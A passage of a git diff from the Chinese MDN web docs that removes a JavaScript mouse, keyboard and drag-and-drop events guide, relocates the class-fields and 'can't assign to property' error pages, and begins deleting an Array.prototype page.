
捕获事件并注册处理函数最简单的办法就是使用HTML,你可以把事件当成元素属性来使用。例子:

- -
  <span onclick="alert('Hello World!');">Click Here</span>
- -

要执行的JavaScript代码既可以作为属性值写在行内位置,也可以写成函数并用<script>包裹后放到HTML页面中:

- -
<script type="text/javascript">
-  function onclick_callback () {
-     alert ("Hello, World!");
-  }
-</script>
-<span onclick="onclick_callback();">Click Here</span>
- -

另外,事件对象是可以被捕获和引用,开发者可以通过访问事件对象来获取更多信息,如捕获事件的对象、事件类型、哪个鼠标按键被点击等。我们还用上面的例子来说明:

- -
<script type="text/javascript">
-  function onclick_callback(event) {
-    var eType = event.type;
-    /* the following is for compatability */
-    /* Moz populates the target property of the event object */
-    /* IE populates the srcElement property */
-    var eTarget = event.target || event.srcElement;
-
-    alert( "Captured Event (type=" + eType + ", target=" + eTarget );
-  }
-</script>
-<span onclick="onclick_callback(event);">Click Here</span>
- -

对于事件的注册和接收还用注意一些的是,你可以给任何使用JavaScript生成的HTMLElement对象做相同的操作。下面的例子展示了一个这样的过程:生成span对象,添加到页面中的body,给span注册mouse-over、mouse-out、mouse-down和 mouse-up事件。

- -
<script type="text/javascript">
-  function mouseevent_callback(event) {
-    /* The following is for compatability */
-    /* IE does NOT by default pass the event object */
-    /* obtain a ref to the event if one was not given */
-    if (!event) event = window.event;
-
-    /* obtain event type and target as earlier */
-    var eType = event.type;
-    var eTarget = event.target || event.srcElement;
-    alert(eType +' event on element with id: '+ eTarget.id);
-  }
-
- function onload () {
-   /* obtain a ref to the 'body' element of the page */
-   var body = document.body;
-   /* create a span element to be clicked */
-   var span = document.createElement('span');
-   span.id = 'ExampleSpan';
-   span.appendChild(document.createTextNode ('Click Here!'));
-
-   /* register the span object to receive specific mouse events */
-   span.onmousedown = mouseevent_callback;
-   span.onmouseup = mouseevent_callback;
-   span.onmouseover = mouseevent_callback;
-   span.onmouseout = mouseevent_callback;
-
-   /* display the span on the page */
-   body.appendChild(span);
-}
-</script>
- -

{{ draft() }}

- -

举例:捕获一个键盘事件

- -

同上面的例子类似,键盘事件捕获也依赖于JavaScript事件系统。当键盘上的键被使用的时候触发键盘事件。

- -

下面的列表展示了一些具体的键盘事件,同鼠标事件相比是很少的:

- -
    -
  • KeyPress - 按键被按下并且释放后触发
  • -
  • KeyDown - 按键被按下但是还没有被释放时触发
  • -
  • KeyUp - 按键被释放时触发
  • -
  • TextInput ( Webkit浏览器下可以使用,并且只在输入时有效) - 通过粘贴、语音或者键盘输入文本时触发。本文不介绍该事件。
  • -
- -

在一个 keypress 事件中,键值的Unicode编码会存储到属性keyCode或者charCode 中,但是两者不会同时存在。按键会生成一个字母 (如 'a'),这时会把字母的编码存储到charCode 中,注意这里是区分大小写的( charCode 会判断shift键是否同时被按下)。其他情况下,编码会存储到 keyCode中。

- -

捕获键盘事件最简单的方法仍然是在HTML中注册键盘事件的处理函数,在元素属性中处理相关事件。 举例:

- -
  <input type="text" onkeypress="alert ('Hello World!');"></input>
-
- -

同鼠标事件类似,你的 JavaScript代码既可以写到属性值内,也可以作为函数用<script包裹后写到HTML页面中:

- -
<script type="text/javascript">
-  function onkeypress_callback () {
-    alert ("Hello, World!");
-  }
-</script>
-
-<input onkeypress="onkeypress_callback();"></input>
-
- -

捕获事件和引用事件源(一个真实的键被按下时) 的方法同鼠标事件类似:

- -
<script type="text/javascript">
-  function onkeypress_callback(evt) {
-      var eType = evt.type; // Will return "keypress" as the event type
-      var eCode = 'keyCode is ' + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
-<input onkeypress="onkeypress_callback(event);"></input>
- -

要捕获页面上所有的键盘事件,可以在document上注册和绑定相关的处理函数:

- -
<script type="text/javascript">
-  document.onkeypress = key_event;
-  document.onkeydown = key_event;
-  document.onkeyup = key_event;
-
-  function key_event(evt) {
-      var eType = evt.type;
-      var eCode = "ASCII code is " + evt.keyCode;
-      var eChar = 'charCode is ' + evt.charCode;
-
-      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
-   }
-</script>
- -

下面是一个完整的键盘事件处理过程:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <script>
-    var metaChar = false;
-    var exampleKey = 16;
-    function keyEvent(event) {
-      var key = event.keyCode || event.which;
-      var keychar = String.fromCharCode(key);
-      if (key==exampleKey) { metaChar = true; }
-      if (key!=exampleKey) {
-         if (metaChar) {
-            alert("Combination of metaKey + " + keychar)
-            metaChar = false;
-         } else { alert("Key pressed " + key); }
-      }
-    }
-    function metaKeyUp (event) {
-      var key = event.keyCode || event.which;
-      if (key==exampleKey) { metaChar = false; }
-    }
-  </script>
-</head>
-<body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)">
-</body>
-</html>
- -

浏览器 bugs 和 quirks

- -

键盘事件中有两个可用的属性keyCode 和 charCode。通常情况下,keyCode 指向的是用户按下的键盘上的那个键,而charCode 存储的是相应键的 ASCII 码值。这两个值不一定相同,如, 小写 'a' 和 大写 'A' 拥有相同的 keyCode,因为用户按下的是相同的按键,但是他们的charCode不同,因为两个字母的码值不同。 

- -

不同浏览器对于charCode的处理方式并不统一。例如Internet Explorer 和Opera 并不支持 charCode,他们把字母信息写到了keyCode中,而且只在 onkeypress下有效。在 Onkeydown 和Onkeyup的事件中, keyCode 存储的仍然是按键的相关信息。 Firefox 则使用 "which", 来区分字母。.

- -

可以到 Mozilla 文档 Keyboard Events 去了解关于键盘事件的更多信息。.

- -

{{ draft() }}

- -

举例:拖曳图片

- -

下面的例子展示了firefox浏览器下如何实现拖动图片:

- -
<!DOCTYPE html>
-<html>
-<head>
-<style type='text/css'>
-img { position: absolute; }
-</style>
-
-<script type='text/javascript'>
-window.onload = function() {
-
-  movMeId=document.getElementById("ImgMov");
-  movMeId.style.top = "80px";
-  movMeId.style.left = "80px";
-  movMeId.style.position = "absolute";
-
-  document.onmousedown = coordinates;
-  document.onmouseup=mouseup;
-
-  function coordinates(e) {
-    if (e == null) { e = window.event;}
-    var sender = (typeof( window.event ) != "undefined" ) ? e.srcElement : e.target;
-
-    if (sender.id=="ImgMov") {
-      mouseover = true;
-      pleft = parseInt(movMeId.style.left);
-      ptop = parseInt(movMeId.style.top);
-      xcoor = e.clientX;
-      ycoor = e.clientY;
-      document.onmousemove=moveImage;
-      return false;
-    } else {
-        return false;
-    }
-  }
-
-  function moveImage(e) {
-    if (e == null) { e = window.event; }
-    movMeId.style.left = pleft+e.clientX-xcoor+"px";
-    movMeId.style.top = ptop+e.clientY-ycoor+"px";
-    return false;
-  }
-
-  function mouseup(e) {
-    document.onmousemove = null;
-  }
-}
-</script>
-</head>
-
-<body>
-  <img id="ImgMov" src="http://mozcom-cdn.mozilla.net/img/covehead/about/logo/download/logo-only.png" width="64" height="64"/>
-  <p>Drag and drop around the image in this page.</p>
-</body>
-
-</html>
- -

举例:改变大小

- -
{{todo("Need Content. Or, remove headline")}}
- -

举例:绘制直线

- -
-

附加文档信息

- - -
- -

 

diff --git a/files/zh-cn/web/javascript/reference/classes/class_elements/index.html b/files/zh-cn/web/javascript/reference/classes/class_elements/index.html deleted file mode 100644 index fb8c618a9b..0000000000 --- a/files/zh-cn/web/javascript/reference/classes/class_elements/index.html +++ /dev/null @@ -1,352 +0,0 @@ ---- -title: 类元素 -slug: Web/JavaScript/Reference/Classes/Class_elements -tags: - - Class - - JavaScript - - 类 -translation_of: Web/JavaScript/Reference/Classes/Public_class_fields ---- -
{{JsSidebar("Classes")}}
- -
公有(public)和私有(private)字段声明是一个JavaScript标准委员会TC39提议的试验性功能 (第3阶段)。这项功能在浏览器中的支持还受限,但你可以通过Babel等构建系统来使用它。参见下面的兼容性信息
- -

公有字段

- -

静态公有字段和实例公有字段都是可编辑的,可遍历的,可配置的。它们本身不同于私有对应值(private counterparts)的是,它们参与原型的继承。

- -

静态公有字段

- -

静态公有字段在你想要创建一个只在每个类里面只存在一份,而不会存在于你创建的每个类的实例中的属性时可以用到。你可以用它存放缓存数据、固定结构数据或者其他你不想在所有实例都复制一份的数据。

- -

静态公有字段是使用关键字 static 声明的。我们在声明一个类的时候,使用Object.defineProperty方法将静态公有字段添加到类的构造函数中。在类被声明之后,可以从类的构造函数访问静态公有字段。

- -
class ClassWithStaticField {
-  static staticField = 'static field';
-}
-
-console.log(ClassWithStaticField.staticField);
-// 预期输出值: "static field"​
-
- -

没有设定初始化程序的字段将默认被初始化为undefined

- -
class ClassWithStaticField {
-  static staticField;
-}
-
-console.assert(ClassWithStaticField.hasOwnProperty('staticField'));
-console.log(ClassWithStaticField.staticField);
-// 预期输出值: "undefined"
- -

静态公有字段不会在子类里重复初始化,但我们可以通过原型链访问它们。

- -
class ClassWithStaticField {
-  static baseStaticField = 'base field';
-}
-
-class SubClassWithStaticField extends ClassWithStaticField {
-  static subStaticField = 'sub class field';
-}
-
-console.log(SubClassWithStaticField.subStaticField);
-// 预期输出值: "sub class field"
-
-console.log(SubClassWithStaticField.baseStaticField);
-// 预期输出值: "base field"
- -

当初始化字段时,this指向的是类的构造函数。你可以通过名字引用构造函数,并使用super获取到存在的超类构造函数。

- -
class ClassWithStaticField {
-  static baseStaticField = 'base static field';
-  static anotherBaseStaticField = this.baseStaticField;
-
-  static baseStaticMethod() { return 'base static method output'; }
-}
-
-class SubClassWithStaticField extends ClassWithStaticField {
-  static subStaticField = super.baseStaticMethod();
-}
-
-console.log(ClassWithStaticField.anotherBaseStaticField);
-// 预期输出值: "base static field"
-
-console.log(SubClassWithStaticField.subStaticField);
-// 预期输出值: "base static method output"
-
- -

公有实例字段

- -

公有实例字段存在于类的每一个实例中。通过声明一个公有字段,我们可以确保该字段一直存在,而类的定义则会更加像是自我描述。

- -

公有实例字段可以在基类的构造过程中(构造函数主体运行前)使用Object.defineProperty添加,也可以在子类构造函数中的super()函数结束后添加。

- -
class ClassWithInstanceField {
-  instanceField = 'instance field';
-}
-
-const instance = new ClassWithInstanceField();
-console.log(instance.instanceField);
-// 预期输出值: "instance field"
- -

没有设定初始化程序的字段将默认被初始化为undefined

- -
class ClassWithInstanceField {
-  instanceField;
-}
-
-const instance = new ClassWithInstanceField();
-console.assert(instance.hasOwnProperty('instanceField'));
-console.log(instance.instanceField);
-// 预期输出值: "undefined"
- -

和属性(properties)一样,字段名可以由计算得出。

- -
const PREFIX = 'prefix';
-
-class ClassWithComputedFieldName {
-    [`${PREFIX}Field`] = 'prefixed field';
-}
-
-const instance = new ClassWithComputedFieldName();
-console.log(instance.prefixField);
-// 预期输出值: "prefixed field"
- -

当初始化字段时,this指向的是类正在构造中的实例。和公共实例方法相同的是:你可以在子类中使用super来访问超类的原型。

- -
class ClassWithInstanceField {
-  baseInstanceField = 'base field';
-  anotherBaseInstanceField = this.baseInstanceField;
-  baseInstanceMethod() { return 'base method output'; }
-}
-
-class SubClassWithInstanceField extends ClassWithInstanceField {
-  subInstanceField = super.baseInstanceMethod();
-}
-
-const base = new ClassWithInstanceField();
-const sub = new SubClassWithInstanceField();
-
-console.log(base.anotherBaseInstanceField);
-// 预期输出值: "base field"
-
-console.log(sub.subInstanceField);
-// 预期输出值: "base method output"
- -

公共方法

- -

静态公共方法

- -

关键字static将为一个类定义一个静态方法。静态方法不会在实例中被调用,而只会被类本身调用。它们经常是工具函数,比如用来创建或者复制对象。

- -

{{EmbedInteractiveExample("pages/js/classes-static.html")}}

- - - -

静态方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

- -

公共实例方法

- -

正如其名,公共实例方法是可以在类的实例中使用的。

- -
class ClassWithPublicInstanceMethod {
-  publicMethod() {
-    return 'hello world';
-  }
-}
-
-const instance = new ClassWithPublicInstanceMethod();
-console.log(instance.publicMethod());
-// 预期输出值: "hello worl​d"
- -

公共实例方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

- -

你可以使用生成器(generator)、异步和异步生成器方法。

- -
class ClassWithFancyMethods {
-  *generatorMethod() { }
-  async asyncMethod() { }
-  async *asyncGeneratorMethod() { }
-}
- -

在实例的方法中,this指向的是实例本身,你可以使用super访问到超类的原型,由此你可以调用超类的方法。

- -
class BaseClass {
-  msg = 'hello world';
-  basePublicMethod() {
-    return this.msg;
-  }
-}
-
-class SubClass extends BaseClass {
-  subPublicMethod() {
-    return super.basePublicMethod();
-  }
-}
-
-const instance = new SubClass();
-console.log(instance.subPublicMethod());
-// 预期输出值: "hello worl​d"
-
- -

gettersetter是和类的属性绑定的特殊方法,分别会在其绑定的属性被取值、赋值时调用。使用getset句法定义实例的公共gettersetter

- -
class ClassWithGetSet {
-  #msg = 'hello world';
-  get msg() {
-    return this.#msg;
-  }
-  set msg(x) {
-    this.#msg = `hello ${x}`;
-  }
-}
-
-const instance = new ClassWithGetSet();
-console.log(instance.msg);
-// expected output: "hello worl​d"
-
-instance.msg = 'cake';
-console.log(instance.msg);
-// 预期输出值: "hello cake"
-
- -

私有字段

- -

静态私有字段

- -

静态私有字段可以在类声明本身内部的构造函数上被访问到。

- -

静态变量只能被静态方法访问的限制依然存在。

- -
class ClassWithPrivateStaticField {
-  static #PRIVATE_STATIC_FIELD;
-
-  static publicStaticMethod() {
-    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42;
-    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD;
-  }
-}
-
-assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);
- -

静态私有字段是在类赋值的时候被添加到类构造函数中的。

- -

静态私有字段有一个来源限制。只有定义静态私有字段的类可以访问该字段。这在使用this时,可能会导致不符合预期的行为。

- -
class BaseClassWithPrivateStaticField {
-  static #PRIVATE_STATIC_FIELD;
-
-  static basePublicStaticMethod() {
-    this.#PRIVATE_STATIC_FIELD = 42;
-    return this.#PRIVATE_STATIC_FIELD;
-  }
-}
-
-class SubClass extends BaseClassWithPrivateStaticField { }
-
-assertThrows(() => SubClass.basePublicStaticMethod(), TypeError);
-
- -

私有实例字段

- -

私有实例字段是通过# names句型(读作“哈希名称”)声明的,即为识别符加一个前缀“#”。“#”是名称的一部分,也用于访问和声明。

- -

封装是语言强制实施的。引用不在作用域内的 # names 是语法错误。

- -
class ClassWithPrivateField {
-  #privateField;
-
-  constructor() {
-    this.#privateField = 42;
-    this.#randomField = 666; # Syntax error
-  }
-}
-
-const instance = new ClassWithPrivateField();
-instance.#privateField === 42; // Syntax error
-
- -

私有方法

- -

静态私有方法

- -

和静态公共方法一样,静态私有方法也是在类里面而非实例中调用的。和静态私有字段一样,它们也只能在类的声明中访问。

- -

你可以使用生成器(generator)、异步和异步生成器方法。

- -

静态私有方法可以是生成器、异步或者异步生成器函数。

- -
class ClassWithPrivateStaticMethod {
-    static #privateStaticMethod() {
-        return 42;
-    }
-
-    static publicStaticMethod() {
-        return ClassWithPrivateStaticMethod.#privateStaticMethod();
-    }
-}
-
-assert(ClassWithPrivateStaticMethod.publicStaticMethod() === 42);
-
- -

私有实例方法

- -

私有实例方法在类的实例中可用,它的访问方式的限制和私有实例字段相同。

- -
class ClassWithPrivateMethod {
-  #privateMethod() {
-    return 'hello world';
-  }
-
-  getPrivateMessage() {
-      return #privateMethod();
-  }
-}
-
-const instance = new ClassWithPrivateMethod();
-console.log(instance.getPrivateMessage());
-// 预期输出值: "hello worl​d"
- -

私有实例方法可以是生成器、异步或者异步生成器函数。私有gettersetter也是可能的:

- -
class ClassWithPrivateAccessor {
-  #message;
-
-  get #decoratedMessage() {
-    return `✨${this.#message}✨`;
-  }
-  set #decoratedMessage(msg) {
-    this.#message = msg;
-  }
-
-  constructor() {
-    this.#decoratedMessage = 'hello world';
-    console.log(this.#decoratedMessage);
-  }
-}
-
-new ClassWithPrivateAccessor();
-// 预期输出值: "✨hello worl​d✨"
-
- -

浏览器兼容性

- -

公共类字段

- - - -

{{Compat("javascript.classes.public_class_fields")}}

- -

私有类字段

- - - -

{{Compat("javascript.classes.private_class_fields")}}

- -

另请参考:

- - diff --git a/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html new file mode 100644 index 0000000000..fb8c618a9b --- /dev/null +++ b/files/zh-cn/web/javascript/reference/classes/public_class_fields/index.html @@ -0,0 +1,352 @@ +--- +title: 类元素 +slug: Web/JavaScript/Reference/Classes/Class_elements +tags: + - Class + - JavaScript + - 类 +translation_of: Web/JavaScript/Reference/Classes/Public_class_fields +--- +
{{JsSidebar("Classes")}}
+ +
公有(public)和私有(private)字段声明是一个JavaScript标准委员会TC39提议的试验性功能 (第3阶段)。这项功能在浏览器中的支持还受限,但你可以通过Babel等构建系统来使用它。参见下面的兼容性信息
+ +

公有字段

+ +

静态公有字段和实例公有字段都是可编辑的,可遍历的,可配置的。它们本身不同于私有对应值(private counterparts)的是,它们参与原型的继承。

+ +

静态公有字段

+ +

静态公有字段在你想要创建一个只在每个类里面只存在一份,而不会存在于你创建的每个类的实例中的属性时可以用到。你可以用它存放缓存数据、固定结构数据或者其他你不想在所有实例都复制一份的数据。

+ +

静态公有字段是使用关键字 static 声明的。我们在声明一个类的时候,使用Object.defineProperty方法将静态公有字段添加到类的构造函数中。在类被声明之后,可以从类的构造函数访问静态公有字段。

+ +
class ClassWithStaticField {
+  static staticField = 'static field';
+}
+
+console.log(ClassWithStaticField.staticField);
+// 预期输出值: "static field"​
+
+ +

没有设定初始化程序的字段将默认被初始化为undefined

+ +
class ClassWithStaticField {
+  static staticField;
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'));
+console.log(ClassWithStaticField.staticField);
+// 预期输出值: "undefined"
+ +

静态公有字段不会在子类里重复初始化,但我们可以通过原型链访问它们。

+ +
class ClassWithStaticField {
+  static baseStaticField = 'base field';
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field';
+}
+
+console.log(SubClassWithStaticField.subStaticField);
+// 预期输出值: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField);
+// 预期输出值: "base field"
+ +

当初始化字段时,this指向的是类的构造函数。你可以通过名字引用构造函数,并使用super获取到存在的超类构造函数。

+ +
class ClassWithStaticField {
+  static baseStaticField = 'base static field';
+  static anotherBaseStaticField = this.baseStaticField;
+
+  static baseStaticMethod() { return 'base static method output'; }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod();
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField);
+// 预期输出值: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField);
+// 预期输出值: "base static method output"
+
+ +

公有实例字段

+ +

公有实例字段存在于类的每一个实例中。通过声明一个公有字段,我们可以确保该字段一直存在,而类的定义则会更加像是自我描述。

+ +

公有实例字段可以在基类的构造过程中(构造函数主体运行前)使用Object.defineProperty添加,也可以在子类构造函数中的super()函数结束后添加。

+ +
class ClassWithInstanceField {
+  instanceField = 'instance field';
+}
+
+const instance = new ClassWithInstanceField();
+console.log(instance.instanceField);
+// 预期输出值: "instance field"
+ +

没有设定初始化程序的字段将默认被初始化为undefined

+ +
class ClassWithInstanceField {
+  instanceField;
+}
+
+const instance = new ClassWithInstanceField();
+console.assert(instance.hasOwnProperty('instanceField'));
+console.log(instance.instanceField);
+// 预期输出值: "undefined"
+ +

和属性(properties)一样,字段名可以由计算得出。

+ +
const PREFIX = 'prefix';
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field';
+}
+
+const instance = new ClassWithComputedFieldName();
+console.log(instance.prefixField);
+// 预期输出值: "prefixed field"
+ +

当初始化字段时,this指向的是类正在构造中的实例。和公共实例方法相同的是:你可以在子类中使用super来访问超类的原型。

+ +
class ClassWithInstanceField {
+  baseInstanceField = 'base field';
+  anotherBaseInstanceField = this.baseInstanceField;
+  baseInstanceMethod() { return 'base method output'; }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod();
+}
+
+const base = new ClassWithInstanceField();
+const sub = new SubClassWithInstanceField();
+
+console.log(base.anotherBaseInstanceField);
+// 预期输出值: "base field"
+
+console.log(sub.subInstanceField);
+// 预期输出值: "base method output"
+ +

公共方法

+ +

静态公共方法

+ +

关键字static将为一个类定义一个静态方法。静态方法不会在实例中被调用,而只会被类本身调用。它们经常是工具函数,比如用来创建或者复制对象。

+ +

{{EmbedInteractiveExample("pages/js/classes-static.html")}}

+ + + +

静态方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

+ +

公共实例方法

+ +

正如其名,公共实例方法是可以在类的实例中使用的。

+ +
class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world';
+  }
+}
+
+const instance = new ClassWithPublicInstanceMethod();
+console.log(instance.publicMethod());
+// 预期输出值: "hello worl​d"
+ +

公共实例方法是在类的赋值阶段用Object.defineProperty方法添加到类中的。静态方法是可编辑的、不可遍历的和可配置的。

+ +

你可以使用生成器(generator)、异步和异步生成器方法。

+ +
class ClassWithFancyMethods {
+  *generatorMethod() { }
+  async asyncMethod() { }
+  async *asyncGeneratorMethod() { }
+}
+ +

在实例的方法中,this指向的是实例本身,你可以使用super访问到超类的原型,由此你可以调用超类的方法。

+ +
class BaseClass {
+  msg = 'hello world';
+  basePublicMethod() {
+    return this.msg;
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod();
+  }
+}
+
+const instance = new SubClass();
+console.log(instance.subPublicMethod());
+// 预期输出值: "hello worl​d"
+
+ +

gettersetter是和类的属性绑定的特殊方法,分别会在其绑定的属性被取值、赋值时调用。使用getset句法定义实例的公共gettersetter

+ +
class ClassWithGetSet {
+  #msg = 'hello world';
+  get msg() {
+    return this.#msg;
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`;
+  }
+}
+
+const instance = new ClassWithGetSet();
+console.log(instance.msg);
+// expected output: "hello worl​d"
+
+instance.msg = 'cake';
+console.log(instance.msg);
+// 预期输出值: "hello cake"
+
+ +

私有字段

+ +

静态私有字段

+ +

静态私有字段可以在类声明本身内部的构造函数上被访问到。

+ +

静态变量只能被静态方法访问的限制依然存在。

+ +
class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42;
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);
+ +

静态私有字段是在类赋值的时候被添加到类构造函数中的。

+ +

静态私有字段有一个来源限制。只有定义静态私有字段的类可以访问该字段。这在使用this时,可能会导致不符合预期的行为。

+ +
class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42;
+    return this.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+assertThrows(() => SubClass.basePublicStaticMethod(), TypeError);
+
+ +

私有实例字段

+ +

私有实例字段是通过# names句型(读作“哈希名称”)声明的,即为识别符加一个前缀“#”。“#”是名称的一部分,也用于访问和声明。

+ +

封装是语言强制实施的。引用不在作用域内的 # names 是语法错误。

+ +
class ClassWithPrivateField {
+  #privateField;
+
+  constructor() {
+    this.#privateField = 42;
+    this.#randomField = 666; # Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField();
+instance.#privateField === 42; // Syntax error
+
+ +

私有方法

+ +

静态私有方法

+ +

和静态公共方法一样,静态私有方法也是在类里面而非实例中调用的。和静态私有字段一样,它们也只能在类的声明中访问。

+ +

你可以使用生成器(generator)、异步和异步生成器方法。

+ +

静态私有方法可以是生成器、异步或者异步生成器函数。

+ +
class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42;
+    }
+
+    static publicStaticMethod() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+}
+
+assert(ClassWithPrivateStaticMethod.publicStaticMethod() === 42);
+
+ +

私有实例方法

+ +

私有实例方法在类的实例中可用,它的访问方式的限制和私有实例字段相同。

+ +
class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world';
+  }
+
+  getPrivateMessage() {
+      return #privateMethod();
+  }
+}
+
+const instance = new ClassWithPrivateMethod();
+console.log(instance.getPrivateMessage());
+// 预期输出值: "hello worl​d"
+ +

私有实例方法可以是生成器、异步或者异步生成器函数。私有gettersetter也是可能的:

+ +
class ClassWithPrivateAccessor {
+  #message;
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`;
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg;
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world';
+    console.log(this.#decoratedMessage);
+  }
+}
+
+new ClassWithPrivateAccessor();
+// 预期输出值: "✨hello worl​d✨"
+
+ +

浏览器兼容性

+ +

公共类字段

+ + + +

{{Compat("javascript.classes.public_class_fields")}}

+ +

私有类字段

+ + + +

{{Compat("javascript.classes.private_class_fields")}}

+ +

另请参考:

+ + diff --git a/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html new file mode 100644 index 0000000000..cceeb330c4 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/errors/cant_assign_to_property/index.html @@ -0,0 +1,52 @@ +--- +title: 'TypeError: can''t assign to property "x" on "y": not an object' +slug: Web/JavaScript/Reference/Errors/不能添加属性 +translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property +--- +
{{jsSidebar("Errors")}}
+ +

信息

+ +
TypeError: can't assign to property "x" on {y}: not an object (Firefox)
+TypeError: Cannot create property 'x' on {y} (Chrome)
+
+ +

错误类型

+ +

{{jsxref("TypeError")}}.

+ +

原因

+ +

在 {{jsxref("Strict_mode")}}下, 当试图给一个{{Glossary("symbol")}},{{Glossary("string")}},{{Glossary("number")}}或者一个{{Glossary("boolean")}}类型的数据创建一个属性时就会报 {{jsxref("TypeError")}}, 任何 {{Glossary("Primitive")}} 值都不允许有{{Glossary("property/JavaScript", "property")}}.

+ +

这个问题可能是由一个错误的值被放在了一个错误的地方导致的, 或者预期{{jsxref("String")}}或{{jsxref("Number")}}的对象变体

+ +

 

+ +

示例

+ +

错误的情况

+ +
'use strict';
+
+var foo = "my string";
+// 下面这行代码在非严格模式下不会执行.
+foo.bar = {}; // TypeError: can't assign to property "bar" on "my string": not an object
+
+ +

如何正确使用

+ +

有两种方式, 第一种修复这部分代码阻止{{Glossary("primitive")}}被用于这种情况, 或者可以通过使用对象构造器创建来修复.

+ +
'use strict';
+
+var foo = new String("my string");
+foo.bar = {};
+
+ +

页面相关

+ +
    +
  • {{jsxref("Strict_mode")}}
  • +
  • {{Glossary("primitive")}}
  • +
diff --git "a/files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" "b/files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" deleted file mode 100644 index cceeb330c4..0000000000 --- "a/files/zh-cn/web/javascript/reference/errors/\344\270\215\350\203\275\346\267\273\345\212\240\345\261\236\346\200\247/index.html" +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'TypeError: can''t assign to property "x" on "y": not an object' -slug: Web/JavaScript/Reference/Errors/不能添加属性 -translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property ---- -
{{jsSidebar("Errors")}}
- -

信息

- -
TypeError: can't assign to property "x" on {y}: not an object (Firefox)
-TypeError: Cannot create property 'x' on {y} (Chrome)
-
- -

错误类型

- -

{{jsxref("TypeError")}}.

- -

原因

- -

在 {{jsxref("Strict_mode")}}下, 当试图给一个{{Glossary("symbol")}},{{Glossary("string")}},{{Glossary("number")}}或者一个{{Glossary("boolean")}}类型的数据创建一个属性时就会报 {{jsxref("TypeError")}}, 任何 {{Glossary("Primitive")}} 值都不允许有{{Glossary("property/JavaScript", "property")}}.

- -

这个问题可能是由一个错误的值被放在了一个错误的地方导致的, 或者预期{{jsxref("String")}}或{{jsxref("Number")}}的对象变体

- -

 

- -

示例

- -

错误的情况

- -
'use strict';
-
-var foo = "my string";
-// 下面这行代码在非严格模式下不会执行.
-foo.bar = {}; // TypeError: can't assign to property "bar" on "my string": not an object
-
- -

如何正确使用

- -

有两种方式, 第一种修复这部分代码阻止{{Glossary("primitive")}}被用于这种情况, 或者可以通过使用对象构造器创建来修复.

- -
'use strict';
-
-var foo = new String("my string");
-foo.bar = {};
-
- -

页面相关

- -
    -
  • {{jsxref("Strict_mode")}}
  • -
  • {{Glossary("primitive")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html deleted file mode 100644 index 31d65bf734..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/array/prototype/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Array.prototype -slug: Web/JavaScript/Reference/Global_Objects/Array/prototype -tags: - - Array.prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Array/prototype ---- -
{{JSRef}}
- -

Array.prototype  属性表示 {{jsxref("Array")}} 构造函数的原型,并允许您向所有Array对象添加新的属性和方法。

- -
/*
-如果JavaScript本身不提供 first() 方法,
-添加一个返回数组的第一个元素的新方法。
-*/
-
-if(!Array.prototype.first) {
-    Array.prototype.first = function() {
-        console.log(`如果JavaScript本身不提供 first() 方法,
